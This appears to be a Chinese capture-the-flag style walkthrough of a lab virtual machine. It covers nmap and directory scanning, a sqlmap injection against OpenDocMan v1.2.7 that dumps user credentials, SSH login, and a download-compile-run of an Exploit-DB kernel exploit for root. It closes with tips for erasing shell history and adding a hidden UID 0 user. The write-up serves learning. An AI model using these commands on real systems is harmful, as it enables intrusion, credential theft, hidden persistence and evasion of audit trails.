最近发现了一个不错的靶场,里面各种渗透测试的虚拟机,大家可以下载进行尝试学习。还有就是一个漏洞利用存档,可以找到很多我们可以利用的学习的东西。
0x01 信息搜集
- 首先就是确定我们靶机的目标IP
nmap -sP -T5 192.168.0.1/24
通过前面的步骤,我们对目标进行具体的端口扫描以及操作系统识别,发现开启有80,22以及6667端口。
nmap -sV -p- -A -O -T4 192.168.0.170
- 目录扫描
继续对目标进行敏感目录扫描,御剑等工具都可以。这里我使用KALI的nikto
以及dirb
命令进行简单的目录扫描。
nikto -host http://192.168.0.170
或者dirb http://192.168.0.170
0x02 漏洞发现
访问IP之后的页面,发现并没有什么特别的地方,于是只能查看源代码,点击超链接进行查看。
在链接的地方竟然发现了秘密的地方,于是访问之
此处是一个登录界面,我们可以尝试注册一个用户进行登录,但只是一个游客的形式。
我们注册一个用户进行登录,还有有很多功能的,于是可以进行更多的尝试。
在下面发现OpenDocMan v1.2.7, OpenDocMan是一个功能完整的基于Web的文档管理系统(DMS),于是找找OpenDocMan v1.2.7所公布的一些可以利用的漏洞。
发现可以利用的好几个漏洞,于是先行尝试sql注入。
0x03 漏洞利用
经过简单的测试发现http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user
处确实注入。
于是直接拿出神器Sqlmap进行注入。
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value --dbs
经过常见的那几个命令我们可以成功的拿到登录名和密码。
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs --tables
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_admin --columns
发现admin表里面没有信息,只能从user表里面提取信息。
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_user --columns`
sqlmap.py -u "http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value -D jabcd0cs -T odm_user -C "username,password" --dump
我们可以看到已经获取到了数据库的用户名和密码,直接MD5解密就可以ssh登录服务器。
用户名
webmin
,密码b78aae356709f8c31118ea613980954b
,明文为webmin
0x04 权限提升
经过前面端口扫描可以发现,22端口发放着,可以进行ssh连接。ssh webmin@192.168.0.170
查看权限发现是普通用户的权限,所以得继续进行提权操作。获取到低权限SHELL后我们通常做下面几件事:
- 检测操作系统的发行版本
- 查看内核版本
- 检测当前用户权限
- 列举Suid文件
- 查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞
lsb_release -a
查看系统的发行版本
uname -a
查看内核版本我们可以看到此操作系统采用的是Ubuntu 14.04.4 LTS,内核版本是3.13.0-24-generic,首先想到的就是去漏洞库寻找有没有可以用的exploit。
下载漏洞exploit
wget https://www.exploit-db.com/download/37292
mv 37292 shell.c
gcc -o shell shell.c
./shell
附Linux渗透小技巧:
- bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null - Linux添加uid为0的用户
useradd -o -u 0 cnbird - 可以翻下 mysql_history .bash_history
- ls -al 看下root目录下都有什么隐藏目录 例如 .ssh .vnc 等
- 可以看下 .ssh/下面的ssh连接记录等,也可以看下全局变量文件什么的
- 通过webshell反弹shell回来之后获取真正的ttyshell
python -c 'import pty; pty.spawn("/bin/sh")'
网友评论